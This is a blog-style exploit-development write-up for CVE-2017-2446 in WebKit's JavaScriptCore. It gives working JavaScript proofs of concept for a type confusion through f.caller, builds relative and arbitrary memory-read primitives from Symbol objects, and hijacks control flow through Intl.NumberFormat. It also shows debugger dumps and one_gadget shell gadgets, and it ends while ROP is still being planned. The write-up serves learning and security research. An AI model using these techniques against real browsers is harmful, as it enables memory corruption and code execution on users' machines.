CVE-2017-2446 or JSC::JSGlobalObject::isHavingABadTime.

Date Sat 14 July 2018 By yrp Category exploitation Tags JavascriptCore jsc cve-2017-2446 exploitation

Introduction

This post will cover the development of an exploit for JavaScriptCore (JSC) from the perspective of someone with no background in browser exploitation.

Around the start of the year, I was pretty burnt out on CTF problems and was interested in writing an exploit for something more complicated and practical. I settled on writing a WebKit exploit for a few reasons:

- It is code that is broadly used in the real world
- Browsers seemed like a cool target in an area I had little familiarity (both C++ and interpreter exploitation.)
- WebKit is (supposedly) the softest of the major browser targets.
- There were good existing resources on WebKit exploitation, namely saelo's Phrack article, as well as a variety of public console exploits.

With this in mind, I got a recommendation for an interesting looking bug that has not previously been publicly exploited: @natashenka's CVE-2017-2446 from the project zero bugtracker. The bug report had a PoC which crashed in `memcpy()` with some partially controlled registers, which is always a promising start.

This post assumes you've read saelo's Phrack article linked above, particularly the portions on NaN boxing and butterflies -- I can't do a better job of explaining these concepts than the article. Additionally, you should be able to run a browser/JavaScript engine in a debugger -- we will target Linux for this post, but the concepts should translate to your preferred platform/debugger.

Finally, the goal of doing this initially and now writing it up was and is to learn as much as possible. There is clearly a lot more for me to learn in this area, so if you read something that is incorrect, inefficient, unstable, a bad idea, or just have some thoughts to share, I'd love to hear from you.

Table of contents:

Target Setup and Tooling

First, we need a vulnerable version of WebKit. `e72e58665d57523f6792ad3479613935ecf9a5e0` is the hash of the last vulnerable version (the fix is in `f7303f96833aa65a9eec5643dba39cede8d01144`) so we check out and build off this.

To stay in more familiar territory, I decided to only target the `jsc` binary, not WebKit browser as a whole. `jsc` is a thin command line wrapper around `libJavaScriptCore`, the library WebKit uses for its JavaScript engine. This means any exploit for `jsc`, with some modification, should also work in WebKit. I'm not sure if this was a good idea in retrospect -- it had the benefit of resulting in a stable heap as well as reducing the amount of code I had to read and understand, but had fewer codepaths and objects available for the exploit.

I decided to target WebKit on Linux instead of macOS mainly due to debugger familiarity (gdb + gef). For code browsing, I ended up using `vim` and `rtags`, which was… okay. If you have suggestions for C++ code auditing, I'd like to hear them.

Target modifications

I found that I frequently wanted to breakpoint in my scripts to examine the interpreter state. After screwing around with this for a while I eventually just added a `dbg()` function to `jsc`. This would allow me to write code like:

```
dbg(); // examine the memory layout
foo(); // do something
dbg(); //see how things have changed
```

The patch to add `dbg()` to `jsc` is pretty straightforward.

```
diff --git diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index bda9a09d0d2..d359518b9b6 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -994,6 +994,7 @@ static EncodedJSValue JSC_HOST_CALL functionSetHiddenValue(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionPrintStdOut(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionPrintStdErr(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionDebug(ExecState*);
+static EncodedJSValue JSC_HOST_CALL functionDbg(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionDescribeArray(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionSleepSeconds(ExecState*);
@@ -1218,6 +1219,7 @@ protected:

         addFunction(vm, "debug", functionDebug, 1);
         addFunction(vm, "describe", functionDescribe, 1);
+        addFunction(vm, "dbg", functionDbg, 0);
         addFunction(vm, "describeArray", functionDescribeArray, 1);
         addFunction(vm, "print", functionPrintStdOut, 1);
         addFunction(vm, "printErr", functionPrintStdErr, 1);
@@ -1752,6 +1754,13 @@ EncodedJSValue JSC_HOST_CALL functionDebug(ExecState* exec)
     return JSValue::encode(jsUndefined());
 }

+EncodedJSValue JSC_HOST_CALL functionDbg(ExecState* exec)
+{
+       asm("int3;");
+
+       return JSValue::encode(jsUndefined());
+}
+
 EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState* exec)
 {
     if (exec->argumentCount() < 1)
```

Other useful `jsc` features

Two helpful functions added to the interpreter by `jsc` are `describe()` and `describeArray()`. As these functions would not be present in an actual target interpreter, they are not fair game for use in an exploit, however are very useful when debugging:

```
>>> a = [0x41, 0x42];
65,66
>>> describe(a);
Object: 0x7fc5663b01f0 with butterfly 0x7fc5663caec8 (0x7fc5663eac20:[Array, {}, ArrayWithInt32, Proto:0x7f
>>> describeArray(a);
<Butterfly: 0x7fc5663caec8; public length: 2; vector length: 3>
```

Symbols

Release builds of WebKit don’t have asserts enabled, but they also don’t have symbols. Since we want symbols, we will build with `CFLAGS=-g CXXFLAGS=-g Scripts/Tools/build-webkit --jsc-only`

The symbol information can take quite some time to parse by the debugger. We can reduce the load time of the debugger significantly by running `gdb-add-index` on both `jsc` and `libJavaScriptCore.so`.

Dumping Object Layouts

WebKit ships with a script for macOS to dump the object layout of various classes, for example, here is `JSC::JSString`:

```
x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC JSString
Found 1 types matching "JSString" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
  +0 { 24} JSString
  +0 {  8}     JSC::JSCell
  +0 {  1}         JSC::HeapCell
  +0 <  4>         JSC::StructureID m_structureID;
  +4 <  1>         JSC::IndexingType m_indexingTypeAndMisc;
  +5 <  1>         JSC::JSType m_type;
  +6 <  1>         JSC::TypeInfo::InlineTypeFlags m_flags;
  +7 <  1>         JSC::CellState m_cellState;
  +8 <  4>     unsigned int m_flags;
 +12 <  4>     unsigned int m_length;
 +16 <  8>     WTF::String m_value;
 +16 <  8>         WTF::RefPtr<WTF::StringImpl> m_impl;
 +16 <  8>             WTF::StringImpl * m_ptr;
Total byte size: 24
Total pad bytes: 0
```

This script required minor modifications to run on linux, but it was quite useful later on.

Bug

With our target built and tooling set up, let’s dig into the bug a bit. JavaScript (apparently) has a feature to get the caller of a function:

```
var q;

function f() {
    q = f.caller;
}

function g() {
    f();
}

g(); // ‘q’ is now equal to ‘g’
```

This behavior is disabled under certain conditions, notably if the JavaScript code is running in strict mode. The specific bug here is that if you called from a strict function to a non-strict function, JSC would allow you to get a reference to the strict function. From the PoC provided you can see how this is a problem:

```
var q;
// this is a non-strict chunk of code, so getting the caller is allowed
function g(){
    q = g.caller;
    return 7;
}

var a = [1, 2, 3];
a.length = 4;
// when anything, including the runtime, accesses a[3], g will be called
Object.defineProperty(Array.prototype, "3", {get : g});
```

```
// trigger the runtime access of a[3]
[4, 5, 6].concat(a);
// q now is a reference to an internal runtime function
q(0x77777777, 0x77777777, 0); // crash
```

In this case, the `concat` code is in `Source/JavaScriptCore/builtins/ArrayPrototype.js` and is marked as 'use strict'.

This behavior is not always exploitable: we need a JS runtime function 'a' which performs sanitization on arguments, then calls another runtime function 'b' which can be coerced into executing user supplied JavaScript to get a function reference to 'b'. This will allow you to do `b(0x41, 0x42)`, skipping the sanitization on your inputs which 'a' would normally perform.

The JSC runtime is a combination of JavaScript and C++ which kind of looks like this:

```
+-------------+
| User Code   | <- user-provided code
+-------------+
| JS Runtime  | <- JS that ships with the browser as part of the runtime
+-------------+
| Cpp Runtime | <- C++ that implements the rest of the runtime
+-------------+
```

The `Array.concat` above is a good example of this pattern: when `concat()` is called it first goes into `ArrayPrototype.js` to perform sanitization on the argument, then calls into one of the concat implementations. The fastpath implementations are generally written in C++, while the slowpaths are either pure JS, or a different C++ implementation.

What makes this bug useful is the reference to the function we get ('q' in the above snippet) is *after* the input sanitization performed by the JavaScript layer, meaning we have a direct reference to the native function.

The provided PoC is an especially powerful example of this, however there are others -- some useful, some worthless. In terms of a general plan, we'll need to use this bug to create an infoleak to defeat ASLR, then figure out a way to use it to hijack control flow and get a shell out of it.

Infoleak

Defeating ASLR is the first order of business. To do this, we need to understand the reference we have in the `concat` code.

`concat` in more detail

Tracing the codepath from our `concat` call, we start in `Source/JavaScriptCore/builtins/ArrayPrototype.js`:

```
function concat(first)
{
    "use strict";

    // [1] perform some input validation
    if (@argumentCount() === 1
        && @isJSArray(this)
        && this.@isConcatSpreadableSymbol === @undefined
        && (!@isObject(first) || first.@isConcatSpreadableSymbol === @undefined)) {

        let result = @concatMemcpy(this, first); // [2] call the fastpath
        if (result !== null)
```

```
            return result;
    }

    // … snip ...
```

In this code snippet the `@` is the interpreter glue which tells the JavaScript engine to look in the C++ bindings for the specified symbol. These functions are only callable via the JavaScript runtime which ships with Webkit, not user code. If you follow this through some indirection, you will find `@concatMemcpy` corresponds to `arrayProtoPrivateFuncAppendMemcpy` in `Source/JavaScriptCore/runtime/ArrayPrototype.cpp`:

```
EncodedJSValue JSC_HOST_CALL arrayProtoPrivateFuncAppendMemcpy(ExecState* exec)
{
    ASSERT(exec->argumentCount() == 3);

    VM& vm = exec->vm();
    JSArray* resultArray = jsCast<JSArray*>(exec->uncheckedArgument(0));
    JSArray* otherArray = jsCast<JSArray*>(exec->uncheckedArgument(1));
    JSValue startValue = exec->uncheckedArgument(2);
    ASSERT(startValue.isAnyInt() && startValue.asAnyInt() >= 0 && startValue.asAnyInt() <= std::numeric_lim
    unsigned startIndex = static_cast<unsigned>(startValue.asAnyInt());
    if (!resultArray->appendMemcpy(exec, vm, startIndex, otherArray)) // [3] fastpath...
    // … snip ...
}
```

Which finally calls into `appendMemcpy` in `JSArray.cpp`:

```
bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
{
    // … snip ...

    unsigned otherLength = otherArray->length();
    unsigned newLength = startIndex + otherLength;
    if (newLength >= MIN_SPARSE_ARRAY_INDEX)
        return false;

    if (!ensureLength(vm, newLength)) { // [4] check dst size
        throwOutOfMemoryError(exec, scope);
        return false;
    }
    ASSERT(copyType == indexingType());

    if (type == ArrayWithDouble)
        memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDoub
    else
        memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(),

    return true;
}
```

This may seem like a lot of code, but given `Array`s `src` and `dst`, it boils down to this:

```
# JS Array.concat
def concat(dst, src):
    if typeof(dst) == Array and typeof(src) == Array: concatFastPath(dst, src)
    else: concatSlowPath(dst, src)

# C++ concatMemcpy / arrayProtoPrivateFuncAppendMemcpy
def concatFastPath(dst, src):
    appendMemcpy(dst, src)

# C++ appendMemcpy
def appendMemcpy(dst, src):
    if allocated_size(dst) < sizeof(dst) + sizeof(src):
        resize(dst)

    memcpy(dst + sizeof(dst), src, sizeof(src));
```

However, thanks to our bug we can skip the type validation at `[1]` and call `arrayProtoPrivateFuncAppendMemcpy` directly with non-`Array` arguments! This turns the logic bug into a type confusion and opens up some exploitation possibilities.

JSObject layouts

To understand the bug a bit better, let's look at the layout of `JSArray`:

```
x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC JSArray
Found 1 types matching "JSArray" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
  +0 { 16} JSArray
  +0 { 16}     JSC::JSNonFinalObject
  +0 { 16}         JSC::JSObject
  +0 {  8}             JSC::JSCell
  +0 {  1}                 JSC::HeapCell
  +0 <  4>                 JSC::StructureID m_structureID;
  +4 <  1>                 JSC::IndexingType m_indexingTypeAndMisc;
  +5 <  1>                 JSC::JSType m_type;
  +6 <  1>                 JSC::TypeInfo::InlineTypeFlags m_flags;
  +7 <  1>                 JSC::CellState m_cellState;
  +8 <  8>             JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly;
  +8 <  8>                 JSC::Butterfly * m_value;
Total byte size: 16
Total pad bytes: 0
```

The `memcpy` we're triggering uses `butterfly()->contiguous().data() + startIndex` as a dst, and while this may initially look complicated, most of this compiles away. `butterfly()` is a butterfly, as detailed in saelo's Phrack article. This means the `contiguous().data()` portion effectively disappears. `startIndex` is fully controlled as well, so we can make this `0`. As a result, our `memcpy` reduces to: `memcpy(qword ptr [obj + 8], qword ptr [src + 8], sizeof(src))`. To exploit this we simply need an object which has a non-butterfly pointer at offset `+8`.

This turns out to not be simple. Most objects I could find inherited from `JSObject`, meaning they inherited the butterfly pointer field at `+8`. In some cases (e.g. `ArrayBuffer`) this value was simply `NULL`'d, while in others I wound up type confusing a butterfly with another butterfly, to no effect. `JSString`s were particularly frustrating, as the relevant portions of their layout were:

```
+8    flags  : u32
+12   length : u32
```

The length field was controllable via user code, however flags were not. This gave me the primitive that I could control the top 32bit of a pointer, and while this might have been doable with some heap spray, I elected to Find a Better Bug(™).

Salvation Through Symbols

My basic process at this point was to look at MDN for the types I could instantiate from the interpreter. Most of these were either boxed (`integer`s, `bool`s, etc), `Object`s, or `String`s. However, `Symbol` was a JS primitive had a potentially useful layout:

```
x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout JSC Symbol
Found 1 types matching "Symbol" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
  +0 { 16} Symbol
  +0 {  8}     JSC::JSCell
  +0 {  1}         JSC::HeapCell
  +0 <  4>         JSC::StructureID m_structureID;
  +4 <  1>         JSC::IndexingType m_indexingTypeAndMisc;
  +5 <  1>         JSC::JSType m_type;
  +6 <  1>         JSC::TypeInfo::InlineTypeFlags m_flags;
  +7 <  1>         JSC::CellState m_cellState;
  +8 <  8>     JSC::PrivateName m_privateName;
  +8 <  8>         WTF::Ref<WTF::SymbolImpl> m_uid;
  +8 <  8>             WTF::SymbolImpl * m_ptr;
Total byte size: 16
Total pad bytes: 0
```

At `+8` we have a pointer to a non-butterfly! Additionally, this object passes all the checks on the above code path, leading to a potentially controlled `memcpy` on top of the `SymbolImpl`. Now we just need a way to turn this into an infoleak...

Diagrams

`WTF::SymbolImpl`'s layout:

```
x@webkit:~/WebKit/Tools/Scripts$ ./dump-class-layout WTF SymbolImpl
Found 1 types matching "SymbolImpl" in "/home/x/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so"
  +0 { 48} SymbolImpl
  +0 { 24}     WTF::UniquedStringImpl
  +0 { 24}         WTF::StringImpl
  +0 <  4>             unsigned int m_refCount;
  +4 <  4>             unsigned int m_length;
  +8 <  8>             WTF::StringImpl::(anonymous union) None;
 +16 <  4>             unsigned int m_hashAndFlags;
 +20 <  4>             <PADDING>
 +20 <  4>         <PADDING>
 +20 <  4>     <PADDING>
 +24 <  8>     WTF::StringImpl * m_owner;
 +32 <  8>     WTF::SymbolRegistry * m_symbolRegistry;
 +40 <  4>     unsigned int m_hashForSymbol;
 +44 <  4>     unsigned int m_flags;
Total byte size: 48
Total pad bytes: 12
Padding percentage: 25.00 %
```

The codepath we're on expects a butterfly with memory layout simplified to the following:

```
       -8    -4      +0   +8   +16
+---------------------+---+-----------+
|pub length|length| 0 | 1 | 2 |...| n |
+---------------------+---+-----------+
                  ^
+-------------+   |
|butterfly ptr+---+
+-------------+
```

However, we're providing it with something like this:

```
                    +0       +4      +8
+-------------------------------------------------+
|       OOB         |refcount|length|str base ptr|
+-------------------------------------------------+
                   ^
```

```
+--------------+   |
|SymbolImpl ptr+---+
+--------------+
```

If we recall our earlier pseudocode:

```
def appendMemcpy(dst, src):
    if allocated_size(dst) < sizeof(dst) + sizeof(src):
        resize(dst)

    memcpy(dst + sizeof(dst), src, sizeof(src));
```

In the normal butterfly case, it will check the `length` and `public length` fields, located at `-4` and `-8` from the butterfly pointer (i.e `btrfly[-1]` and `btrfly[-2]` respectively). However, when passing `Symbol`s in our typed confused cases those array accesses will be out of bounds, and thus potentially controllable. Let's walk through the two possibilities.

OOB memory is a large value

Let's presume we have a memory layout similar to:

```
  OOB    OOB
+--------------------------------------------+
|0xffff|0xffff|refcount|length|str base ptr|
+--------------------------------------------+
               ^
        +---+ |
        |ptr+--+
        +---+
```

The exact OOB values won't matter, as long as they're greater than the size of the `dst` plus the `src`. In this case, `resize` in our pseudocode or `ensureLength` (`[4]`) in the actual code will not trigger a reallocation and object move, resulting in a direct `memcpy` on top of `refcount` and `length`. From here, we can turn this into a relative read infoleak by overwriting the length field.

For example, if we store a function reference to `arrayProtoPrivateFuncAppendMemcpy` in a variable named `busted_concat` and then trigger the bug, like this:

```
let x = Symbol("AAAA");

let y = [];
y.push(new Int64('0x000042420000ffff').asDouble());

busted_concat(x, y, 0);
```

Note: `Int64` can be found here and is, of course, covered in saelo's Phrack article.

We would then end up with a `Symbol` `x` with fields:

```
 refcount length
+------------------------------+
|  0x4242  |0xffff|str base ptr|
+------------------------------+
```

`str base ptr` will point to `AAAA`, however instead of having a length of `4`, it will have a length of `0xffff`. To access this memory, we can extract the `String` from a `Symbol` with:

```
let leak = x.toString().charCodeAt(0x1234);
```

`toString()` in this case is actually kind of complicated under the hood. My understanding is that all strings in JSC are “roped”, meaning any existing substrings are linked together with pointers as opposed to linearly laid out in memory. However this detail doesn’t really affect us, for our purposes a string is created out of our controlled length and the existing string base pointer, with no terminating characters to be concerned with. It is possible to crash here if we were to index outside of mapped memory, but this hasn’t happened in my experience. As an additional minor complication, strings come in two varieties, 8bit and UTF-16. We can easily work around this with a basic heuristic: if we read any values larger than 255 we just assume it is a UTF-16 string.

None of this changes the outcome of the snippet above, `leak` now contains the contents of OOB memory. Boom, relative memory read :)

OOB Memory is a zero

On the other hand, let’s assume the OOB memory immediately before our target `SymbolImpl` is all zeros. In this case, `resize` / `ensureLength` *will* trigger a reallocation and object move. `ensureLength` more or less corresponds to the following pseudocode:

```
if sizeof(this.butterfly) + sizeof(other.butterfly) > self.sz:
    new_btrfly =  alloc(sizeof(this.butterfly) + sizeof(other.butterfly));
    memcpy(new_btrfly, this.butterfly, sizeof(this.butterfly));
    this.butterfly = new_btrfly;
```

Or in words: if the existing butterfly isn’t large enough to hold a combination of the two butterflies, allocate a larger one, copy the existing butterfly contents into it, and assign it. Note that this does not actually do the concatenation, it just makes sure the destination will be large enough when the concatenation is actually performed.

This turns out to also be quite useful to us, especially if we already have the relative read above. Assuming we have a `SymbolImpl` starting at address `0x4008` with a memory layout of:

```
           OOB     OOB
        +--------------------------------------------+
0x4000: |0x0000|0x0000|refcount|length|str base ptr|
        +--------------------------------------------+
                      ^
                +----+ |
                |ptr+--+
                +----+
```

And, similar to the large value case above, we trigger the bug:

```
let read_target = '0xdeadbeef';

let x = Symbol("AAAA");

let y = [];
y.push(new Int64('0x000042420000ffff').asDouble());
y.push(new Int64(read_target).asDouble());

busted_concat(x, y, 0);
```

We end up with a “`SymbolImpl`” at a new address, `0x8000`:

```
         refcount length str base ptr
        +-----------------------------+
0x8000: | 0x4242  |0xffff| 0xdeadbeef |
        +-----------------------------+
```

In this case, we've managed to conjure a complete `SymbolImpl`! We might not need to allocate a backing string for this Symbol (i.e. "AAAA"), but doing so can make it slightly easier to debug. The `ensureLength` code basically decided to "resize" our `SymbolImpl`, and by doing so allowed us to fully control the contents of a new one. This now means that if we do

```
let leak = x.toString().charCodeAt(0x5555);
```

We will be dereferencing `*(0xdeadbeef + 0x5555)`, giving us a completely arbitrary memory read. Obviously this depends on a relative leak, otherwise we wouldn't have a valid mapped address to target. Additionally, we could have overwritten the `str base pointer` in the non-zero length case (because the memcpy is based on the sizeof the source), but I found this method to be slightly more stable and repeatable.

With this done we now have both relative and arbitrary infoleaks :)

Notes on `fastMalloc`

We will get into more detail on this in a second, however I want to cover how we control the first bytes prior the `SymbolImpl`, as being able to control which `ensureLength` codepath we hit is important (we need to get the relative leak before the absolute). This is partially where targeting `jsc` instead of Webkit proper made my life easier: I had more or less deterministic heap layout for all of my runs, specifically:

```
// this symbol will always pass the ensureLength check
let x = Symbol('AAAA');

function y() {
    // this symbol will always fail the ensureLength check
    let z = Symbol('BBBB');
}
```

To be honest, I didn't find the root cause for why this was the case; I just ran with it. `SymbolImpl` objects here are allocated via `fastMalloc`, which seems to be used primarily by the JIT, `SymbolImpl`, and `StringImpl`. Additionally (and unfortunately) `fastMalloc` is used by `print()`, meaning if we were interested in porting our exploit from `jsc` to WebKit we would likely have to redo most of the heap offsets (in addition to spraying to get control over the `ensureLength` codepath).

While this approach is untested, something like

```
let x = 'AAAA'.blink();
```

Will cause `AAAA` to be allocated inline with the allocation metadata via `fastMalloc`, as long as your target string is short enough. By spraying a few `blink`'d objects to fill in any holes, it should be possible to to control `ensureLength` and get the relative infoleak to make the absolute infoleak.

Arbitrary Write

Let's recap where we are, where we're trying to go, and what's left to do:

We can now read and leak arbitrary browser memory. We have a promising looking primitive for a memory write (the `memcpy` in the case where we do not resize). If we can turn that relative memory write into an arbitrary write we can move on to targeting some vtables or saved program counters on the stack, and hijack control flow to win.

How hard could this be?

Failure: NaN boxing

One of the first ideas I had to get an arbitrary write was passing it a numeric value as the `dst`. Our `busted_concat` can be simplified to a weird version of `memcpy()`, and instead of passing it `memcpy(Symbol, Array, size)` could we pass it something like `memcpy(0x41414141, Array, size)`? We would need to create an object at the address we passed in, but that shouldn't be too difficult at this point: we have a good infoleak and the ability to instantiate memory with arbitrary values via `ArrayWithDouble`. Essentially, this is asking if we can use this function reference to get us a `fakeobj()` like primitive. There are basically two possibilities to try, and neither of them work.

First, let's take the integer case. If we pass `0x41414141` as the `dst` parameter, this will be encoded into a `JSValue` of `0xffff000041414141`. That's a non-canonical address, and even if it weren't, it would be in kernel space. Due to this integer tagging, it is impossible to get a JSValue that is an integer which is also a valid mapped memory address, so the integer path is out.

Second, let's examine what happens if we pass it a double instead: `memcpy(new Int64(0x41414141).asDouble(), Array, size)`. In this case, the double should be using all 64 bits of the address, so it might be possible to construct a double who's representation is a mapped memory location. However, JavaScriptCore handles this case as well: they use a floating point representation which has `0x0001000000000000` added to the value when expressed as a `JSValue`. This means, like integers, doubles can never correspond to a useful memory address.

For more information on this, check out this comment in JSCJSValue.h which explains the value tagging in more detail.

Failure: Smashing fastMalloc

In creating our relative read infoleak, we only overwrote the `refcount` and `length` fields of the target `SymbolImpl`. However, this `memcpy` should be significantly more useful to us: because the size of the copy is related to the size of the source, we can overwrite up to the OOB size field. Practically, this turns into an arbitrary overwrite of `SymbolImpl`s.

As mentioned previously, `SymbolImpl` get allocated via `fastMalloc`. To figure this out, we need to leave JSC and check out the Web Template Framework or WTF. WTF, for lack of a better analogy, forms a kind of stdlib for JSC to be built on top of it. If we look up `WTF::SymbolImpl` from our class dump above, we find it in `Source/WTF/wtf/text/SymbolImpl.h`. Specifically, following the class declarations that are of interest to us:

```
class SymbolImpl : public UniquedStringImpl {
```

`Source/WTF/wtf/text/UniquedStringImpl.h`

```
class UniquedStringImpl : public StringImpl {
```

`/Source/WTF/wtf/text/StringImpl.h`

```
class StringImpl {
    WTF_MAKE_NONCOPYABLE(StringImpl); WTF_MAKE_FAST_ALLOCATED;
```

`WTF_MAKE_FAST_ALLOCATED` is a macro which expands to cause objects of this type to be allocated via `fastMalloc`. This help forms our target list: anything that is tagged with `WTF_MAKE_FAST_ALLOCATED`, or allocated directly via `fastMalloc` is suitable, as long as we can force an allocation from the interpreter.

To save some space: I was unsuccessful at finding any way to turn this `fastMalloc` overflow into an arbitrary write. At one point I was absolutely convinced I had a method of partially overwriting a `SymbolImpl`, converting it to a to String, then overwriting that, thus bypassing the flags restriction mentioned earlier... but this didn't work (I confused `JSC::JSString` with `WTF::StringImpl`, amongst other problems).

All the things I could find to overwrite in the `fastMalloc` heap were either `String`s (or `String`-like things, e.g. `Symbol`s) or were JIT primitives I didn't want to try to understand. Alternatively I could have tried to target `fastMalloc` metadata attacks -- for some reason this didn't occur to me until much later and I haven't looked at this at all.

Remember when I mentioned the potential downsides of targeting `jsc` specifically? This is where they start to come into play. It would be really nice at this point to have a richer set of objects to target here, specifically DOM or other browser objects. More objects would give me additional avenues on three fronts: more possibilities to type confuse my existing busted functions, more possibilities to overflow in the `fastMalloc` heap, and more possibilities to obtain references to useful functions.

At this point I decided to try to find a different chain of functions calls which would use the same bug but give me a reference to a different runtime function.

Control Flow

My general workflow when auditing other functions for our candidate pattern was to look at the code exposed via `builtins`, find native functions, and then audit those native functions looking for things that had JSValue's evaluated. While this found other instances of this pattern (e.g. in the RegExp code), they were not usable -- the C++ runtime functions would do additional checks and error out. However when searching, I stumbled onto another p0 bug with the same CVE attributed, p0 bug 1036. Reproducing from the PoC there:

```
var i = new Intl.DateTimeFormat();
var q;

function f(){
    q = f.caller;
    return 10;
}


i.format({valueOf : f});

q.call(0x77777777);
```

This bug is very similar to our earlier bug and originally I was confused as to why it was a separate p0 bug. Both bugs manifest in the same way, by giving you a non-properly-typechecked reference to a function, however the root cause that makes the bugs possible is different. In the `appendMemcpy` case this is due to a lack of checks on `use strict` code. This appears to be a “regular” type confusion, unrelated to `use strict`. These bugs, while different, are similar enough that they share a CVE and a fix.

So, with this understood can we use `Intl.DateTimeFormat` usefully to exploit `jsc`?

Intl.DateTimeFormat Crash

What’s the outcome if we run that PoC?

```
Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.
…
$rdi   : 0xffff000077777777
...
 → 0x7ffff77a8960 <JSC::IntlDateTimeFormat::format(JSC::ExecState&,+0> cmp    BYTE PTR [rdi+0x18], 0x0
```

Ok, so we’re treating a NaN boxed integer as an object. What if we pass it an object instead?

```
// ...
q.call({a: new Int64('0x41414141')});
```

Results in:

```
Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.
...
$rdi   : 0x0000000000000008
 ...
 → 0x7ffff77a4833 <JSC::IntlDateTimeFormat::initializeDateTimeFormat(JSC::ExecState&,+0> mov    eax, DWORD
```

Hmm.. this also doesn’t look immediately useful. As a last ditch attempt, reading the docs we notice there is a both an `Intl.DateTimeFormat` and an `Intl.NumberFormat` with a similar `format` call. Let’s try getting a reference to that function instead:

```
load('utils.js')
load('int64.js');

var i = new Intl.NumberFormat();
var q;

function f(){
        q = f.caller;
        return 10;
}


i.format({valueOf : f});

q.call({a: new Int64('0x41414141')});
```

Giving us:

```
Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.
…
$rax   : 0x0000000041414141
…
 → 0x7ffff4b7c769 <unum_formatDouble_57+185> call   QWORD PTR [rax+0x48]
```

Yeah, we can probably exploit this =p

I'd like to say that finding this was due to a deep reading and understanding of WebKit's internationalization code, but really I was just trying things at random until something crashed in a useful looking state. I'm sure I tried dozens of other things that didn't end up working out along the way... From a pedagogical perspective, I'm aware that listing random things I tried is not exactly optimal, but that's actually how I did it so :)

Exploit Planning

Let's pause to take stock of where we're at:

- We have an arbitrary infoleak
- We have a relative write and no good way to expand it to an arbitrary write
- We have control over the program counter

Using the infoleak we can find pretty much anything we want, thanks to linux loader behavior (`libc.so.6` and thus `system()` will always be at a fixed offset from `libJavaScriptCore.so` which we already have the base address of leaked). A "proper" exploit would take a arbitrary shellcode and result in it's execution, but we can settle with popping a shell.

The ideal case here would be we have control over `rdi` and can just point `rip` at `system()` and we'd be done. Let's look at the register state where we hijack control flow, with pretty printing from @_hugsy's excellent gef.

```
$rax   : 0x0000000041414141
$rbx   : 0x0000000000000000
$rcx   : 0x00007fffffffd644  →  0xb2de45e000000000
$rdx   : 0x00007fffffffd580  →  0x00007ffff4f14d78  →  0x00007ffff4b722d0  →  <icu_57::FieldPosition::~Fiel
$rsp   : 0x00007fffffffd570  →  0x7ff8000000000000
$rbp   : 0x00007fffffffd5a0  →  0x00007ffff54dfc00  →  0x00007ffff51f30e0  →  <icu_57::UnicodeString::~Unic
$rsi   : 0x00007fffffffd5a0  →  0x00007ffff54dfc00  →  0x00007ffff51f30e0  →  <icu_57::UnicodeString::~Unic
$rdi   : 0x00007fffb2d5c120  →  0x0000000041414141 ("AAAA"?)
$rip   : 0x00007ffff4b7c769  →  <unum_formatDouble_57+185> call QWORD PTR [rax+0x48]
$r8    : 0x00007fffffffd644  →  0xb2de45e000000000
$r9    : 0x0000000000000000
$r10   : 0x00007ffff35dc218  →  0x0000000000000000
$r11   : 0x00007fffb30065f0  →  0x00007fffffffd720  →  0x00007fffffffd790  →  0x00007fffffffd800  →  0x0000
$r12   : 0x00007fffffffd644  →  0xb2de45e000000000
$r13   : 0x00007fffffffd660  →  0x0000000000000000
$r14   : 0x0000000000000020
$r15   : 0x00007fffb2d5c120  →  0x0000000041414141 ("AAAA"?)
```

So, `rax` is fully controlled and `rdi` and `r15` are pointers to `rax`. Nothing else seems particularly useful. The ideal case is probably out, barring some significant memory sprays to get memory addresses that double as useful strings. Let's see if we can do it without `rdi`.

one_gadget

On linux, there is a handy tool for this by @david924j called one_gadget. `one_gadget` is pretty straightforward in its use: you give it a libc, it gives you the offsets and constraints for PC values that will get you a shell. In my case:

```
x@webkit:~$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x41bce execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
```

```
0x41c22 execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xe1b3e execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL
```

So, we have three constraints, and if we can satisfy any one of them, we're done. Obviously the first is out -- we take control of PC with a `call [rax+0x48]` so `rax` cannot be `NULL`. So, now we're looking at stack contents. Because nothing is ever easy, neither of the stack based constraints are met either. Since the easy solutions are out, let's look at what we have in a little more detail.

Memory layout and ROP

```
       +------------------+
rax -> |0xdeadbeefdeadbeef|
       +------------------+
       |        ...       |
       +------------------+
+0x48  |0x4141414141414141| <- new rip
       +------------------+
```

To usefully take control of execution, we will need to construct an array with our target PC value at offset `+0x48`, then call our type confusion with that value. Because we can construct `ArrayWithDouble`'s arbitrary, this isn't really a problem: populate the array, use our infoleak to find the array base, use that as the type confusion value.

A normal exploit path in this case will focus on getting a stack pivot and setting up a rop chain. In our case, if we wanted to try this the code we would need would be something like:

```
mov X, [rdi] ; or r15
mov Y, [X]
mov rsp, Y
ret
```

Where X and Y can be any register. While some code with these properties likely exists inside some of the mapped executable code in our address space, searching for it would require some more complicated tooling than I was familiar with or felt like learning. So ROP is probably out for now.

